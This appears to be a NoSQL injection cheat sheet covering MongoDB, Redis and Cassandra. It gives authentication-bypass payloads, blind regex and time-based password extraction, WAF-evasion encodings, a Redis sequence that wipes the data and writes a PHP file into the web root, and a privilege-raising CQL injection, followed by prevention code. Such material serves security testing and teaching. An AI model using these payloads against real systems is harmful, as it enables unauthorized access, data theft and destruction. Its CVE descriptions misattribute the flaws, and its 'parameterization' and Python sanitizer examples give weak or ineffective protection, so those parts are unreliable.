Introduction
NoSQL injection is a security vulnerability that occurs when untrusted data is sent to a NoSQL database interpreter as part of a command or query. Unlike SQL injection, NoSQL injection exploits non-relational databases that don’t use SQL query language, such as MongoDB, Redis, Cassandra, CouchDB, etc. These attacks can lead to unauthorized data access, data modification, or even complete system compromise.
Common NoSQL Databases
Database | Query Language/Interface | Common Use Cases |
---|
MongoDB | BSON/JSON-like queries | Document storage, web applications |
Redis | Commands over TCP/IP | Caching, message broking |
Cassandra | CQL (Cassandra Query Language) | High-scale distributed data |
CouchDB | HTTP/REST API, JSON | Document storage, web apps |
DynamoDB | API calls (AWS SDK) | Scalable applications on AWS |
Firebase | REST API, JSON | Mobile applications, real-time apps |
MongoDB Injection Techniques
Basic MongoDB Operators
Operator | Description | Usage |
---|
$eq | Equals | { field: { $eq: value } } |
$ne | Not equals | { field: { $ne: value } } |
$gt | Greater than | { field: { $gt: value } } |
$lt | Less than | { field: { $lt: value } } |
$gte | Greater than or equal | { field: { $gte: value } } |
$lte | Less than or equal | { field: { $lte: value } } |
$regex | Regular expression | { field: { $regex: pattern } } |
$where | JavaScript expression | { $where: function() { return true; } } |
$exists | Field exists check | { field: { $exists: true } } |
$or | Logical OR | { $or: [ { a: 1 }, { b: 2 } ] } |
$and | Logical AND | { $and: [ { a: 1 }, { b: 2 } ] } |
Authentication Bypass Examples
Example 1: Basic Authentication Bypass
Normal login request:
1
| db.users.find({username: "admin", password: "secret"});
|
Injection payload (POST data or URL parameters):
1
| username[$ne]=dummy&password[$ne]=dummy
|
This translates to:
1
| db.users.find({username: {$ne: "dummy"}, password: {$ne: "dummy"}});
|
Example 2: Using Empty Password or True Condition
1
| username=admin&password[$ne]=
|
This translates to:
1
| db.users.find({username: "admin", password: {$ne: ""}});
|
Example 3: Always True Conditions
1
| username[$gt]=&password[$gt]=
|
This translates to:
1
| db.users.find({username: {$gt: ""}, password: {$gt: ""}});
|
NoSQL Operator Injections
Comparison Operators
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # Not equal
username[$ne]=admin
# Greater than
age[$gt]=18
# Less than
price[$lt]=100
# Greater than or equal
quantity[$gte]=10
# Less than or equal
date[$lte]=2023-01-01
|
Logical Operators
1
2
3
4
5
| # OR operation
[$or][0][username]=admin&[$or][1][username]=user
# AND operation
[$and][0][username]=admin&[$and][1][age][$gt]=18
|
Array Operators
1
2
3
4
5
| # Field matches any value in array
tags[$in][]=admin&tags[$in][]=user
# Field doesn't match any value in array
role[$nin][]=guest&role[$nin][]=user
|
Element Operators
1
2
3
4
5
| # Field exists check
admin[$exists]=true
# Type check
age[$type]=16 # 16 = int in BSON
|
JavaScript Execution (MongoDB specific)
1
2
3
4
5
| # Using $where operator
$where=this.username=="admin"
# More complex function
$where=function(){sleep(5000);return true;}
|
Advanced NoSQL Injection Techniques
JavaScript Injection in MongoDB
1
2
3
4
5
6
7
8
| // Classic $where injection
db.users.find({$where: "this.username == 'admin'"})
// Time-based blind injection
db.users.find({$where: "if(this.username=='admin'){sleep(5000);return true;}else{return false;}"})
// Exfiltration via error messages
db.users.find({$where: "this.username == ''+JSON.stringify(this)+''"})
|
Object Injection Patterns
1
2
3
4
5
| // Inject into unmarshalled JSON object
{"$gt": ""} // Injected instead of a string value
// Function injection
{"$function": "function(){return shellcode}"} // Specific to certain drivers
|
NoSQL Truncation Attacks
1
2
| # Some implementations might truncate the query
username[$ne]=admin&username=admin
|
Blind NoSQL Injection Techniques
1
2
3
4
5
6
7
8
9
10
11
| // Boolean-based blind
// Testing if admin user exists and password starts with 'a'
username=admin&password[$regex]=^a.*
// Time-based blind
username=admin&password[$where]=function(){if(this.substr(0,1)=='a'){sleep(5000)}return true}
// Extraction character by character
username=admin&password[$regex]=^a.*
username=admin&password[$regex]=^b.*
...and so on
|
Language-Specific Injection Examples
Node.js + Express + MongoDB Example
Vulnerable code:
1
2
3
4
5
6
7
8
9
10
11
| app.post('/login', (req, res) => {
const username = req.body.username;
const password = req.body.password;
db.collection('users').findOne({
username: username,
password: password
}, (err, user) => {
// Authentication logic
});
});
|
Injection via HTTP request:
1
2
3
4
| POST /login HTTP/1.1
Content-Type: application/json
{"username": "admin", "password": {"$ne": ""}}
|
Python + PyMongo Example
Vulnerable code:
1
2
3
4
5
| @app.route('/user', methods=['GET'])
def find_user():
username = request.args.get('username')
user = db.users.find_one({'username': username})
return jsonify(user)
|
Injection when username is processed directly:
1
| GET /user?username[$ne]=dummy HTTP/1.1
|
PHP + MongoDB Example
Vulnerable code:
1
2
3
4
5
6
7
| <?php
$username = $_POST['username'];
$password = $_POST['password'];
$query = array("username" => $username, "password" => $password);
$user = $collection->findOne($query);
?>
|
Injection via POST request:
1
| username=admin&password[$ne]=
|
WAF Bypass Techniques for NoSQL Injection
JSON Encoding Variations
1
2
3
4
5
6
7
8
| // Standard injection
{"username": {"$ne": null}}
// Unicode escapes
{"\u0075\u0073\u0065\u0072\u006e\u0061\u006d\u0065": {"\u0024\u006e\u0065": null}}
// Nested properties
{"username": {"$eq": {"$ne": "dummy"}}}
|
Operator Alternative Obfuscation
1
2
3
4
5
6
7
8
| // Alternative to $ne
{"username": {"$not": {"$eq": "admin"}}}
// Alternative to $gt
{"username": {"$not": {"$lt": "admin"}}}
// Using $where instead of comparison operators
{"$where": "this.username != 'admin'"}
|
Array-based Bypass
1
2
3
4
5
| // Using $in with a large array
{"username": {"$in": ["admin", "user", "moderator"]}}
// Using $elemMatch for nested checks
{"credentials": {"$elemMatch": {"username": "admin", "password": {"$ne": ""}}}}
|
Multi-stage Injections
1
2
3
4
5
| // First find matching document ID
{"username": "admin"}
// Then use the ID in a second query with injection
{"_id": ObjectId("..."), "password": {"$ne": ""}}
|
Common NoSQL Injection Testing Payloads
MongoDB Authentication Bypass Payloads
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| # Simple authentication bypasses
username=admin&password[$ne]=anything
username[$ne]=not_admin&password[$ne]=not_password
# Regex-based extraction
username=admin&password[$regex]=^a
username=admin&password[$regex]=^b
...and so on
# Regex with OR operators
username=admin&password[$regex]=^(a|b)
# Using $exists
username=admin&password[$exists]=false
# Using $in operator
username[$in][]=admin&password[$ne]=anything
|
Redis Injection Payloads
1
2
3
4
5
6
7
| # Command injection in Redis-backed apps
FLUSHALL
SET password "newpass"
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SET payload "<?php phpinfo(); ?>"
SAVE
|
Cassandra CQL Injection
1
2
| # Manipulating filter conditions
username='; UPDATE users SET admin=true WHERE username='admin
|
Detection Techniques
Manual Detection Signs
- Error messages containing database information
- Unexpected behavior when submitting special characters
- Different responses when submitting Boolean conditions
- Time delays when submitting sleep/delay functions
Automated Testing Methods
- Parameter fuzzing with NoSQL operators
- Boolean-based blind testing
- Time-based blind testing
- Regular expression extraction methods
Prevention & Mitigation
General Prevention Methods
- Input Validation
- Validate data types, formats, and ranges
- Reject inputs containing NoSQL special characters and operators
- Query Parameterization
1
2
3
4
5
| // BAD (direct insertion):
db.users.find({username: username, password: password});
// GOOD (using parameters):
db.users.find({username: sanitize(username), password: sanitize(password)});
|
- Schema Enforcement
- Use schema validation to restrict data types and formats
- MongoDB example:
1
2
3
4
5
6
7
8
9
10
11
12
| db.createCollection("users", {
validator: {
$jsonSchema: {
bsonType: "object",
required: ["username", "password"],
properties: {
username: { bsonType: "string" },
password: { bsonType: "string" }
}
}
}
});
|
- Input Sanitization Libraries
- Use libraries to sanitize user input
- For MongoDB: mongo-sanitize, mongoose
- Least Privilege Principle
- Use database users with minimal required permissions
- Implement field-level access control
Language-Specific Prevention
Node.js
1
2
3
4
5
6
7
8
9
10
11
12
13
| const sanitize = require('mongo-sanitize');
app.post('/login', (req, res) => {
const cleanUsername = sanitize(req.body.username);
const cleanPassword = sanitize(req.body.password);
db.collection('users').findOne({
username: cleanUsername,
password: cleanPassword
}, (err, user) => {
// Authentication logic
});
});
|
Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| from pymongo import MongoClient
import re
def sanitize(data):
if isinstance(data, dict):
return {sanitize(key): sanitize(value) for key, value in data.items()
if not key.startswith('$')}
elif isinstance(data, list):
return [sanitize(item) for item in data]
else:
return data
@app.route('/user', methods=['GET'])
def find_user():
username = request.args.get('username')
sanitized_username = sanitize(username)
user = db.users.find_one({'username': sanitized_username})
return jsonify(user)
|
PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| <?php
function sanitize($data) {
if (is_array($data)) {
foreach ($data as $key => $value) {
if (strpos($key, '$') === 0) {
unset($data[$key]);
} else {
$data[$key] = sanitize($value);
}
}
}
return $data;
}
$username = sanitize($_POST['username']);
$password = sanitize($_POST['password']);
$query = array("username" => $username, "password" => $password);
$user = $collection->findOne($query);
?>
|
- NoSQLMap: Automated NoSQL database enumeration and web application exploitation tool
- https://github.com/codingo/NoSQLMap
- NoSQL Exploitation Framework: Automation framework for NoSQL database scanning
- https://github.com/torque59/Nosql-Exploitation-Framework
- MongoDB Payload Fuzzer: Collection of payloads for fuzzing MongoDB applications
- Various GitHub repositories
- Burp Suite Extensions:
- NoSQL Scanner
- JSON Web Tokens
- Content-Type Converter
- OWASP ZAP: Can be configured to test NoSQL injection vulnerabilities
Real-World Examples
CVE-2019-7609: Kibana Prototype Pollution and NoSQL Injection
The timelion visualization in Kibana before 5.6.15 and 6.6.1 had an issue where the tickFormatter functionality exposed the server to an arbitrary code execution vulnerability through NoSQL injection.
CVE-2020-7921: MongoDB NoSQL Injection in Spring Data
Spring Data MongoDB before 2.1.9, 2.2.x before 2.2.7, and 3.0.x before 3.0.1 allowed injection of SpEL expressions that could lead to arbitrary code execution.
References